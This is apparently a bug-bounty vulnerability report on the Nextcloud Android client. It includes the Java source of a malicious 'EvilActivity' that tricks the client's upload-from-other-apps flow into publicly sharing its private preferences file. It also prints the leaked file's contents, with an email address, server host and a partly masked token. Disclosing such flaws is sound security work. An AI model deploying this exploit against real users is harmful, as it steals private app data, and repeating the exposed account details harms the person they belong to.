Steps to reproduce: 1.install and login nextcloud android client 2.create a directory and set it 'shareable' 3.install the poc app "setresultcontactphotocrop" key code: `EvilActivity` ``` public class EvilActivity extends AppCompatActivity { final static String PRIVATE_URI = "file:///data/data/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml"; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Log.d("heen", "EvilActivity started!"); setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI))); finish(); } } ``` `manifest.xml->intent-filter` ```

``` 4.Take into the shareable diretory in the step2, and click '+', choose "upload content from other apps" 5.if the victim click the poc app by accident, the secret file "/data/data/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml" will be publicly shared and leaked. com.nextcloud.client_preferences.xml content ``` yunbeitai2015@126.com@efss.qloud.my /storage/emulated/0/Android/media/com.nextcloud.client dsqXrhNrS0aKvlblvQirA5:APA91bFsXrXQAy****StWaRswHJJG39zx5rAMX_yrjsSQD23fJnFNkro9hxwSZmwbufEn_M0IEPhGwGgMJ29WCfNmGlem6teT6qXHZQW3GY57tk9CbVmjb5kiSjHBqF6OUTI6b0WAzQI ``` ## Impact arbitrary sensitive file under nextcloud android client privacy directory /data/data/com.nextcloud.client leaked {F1249064}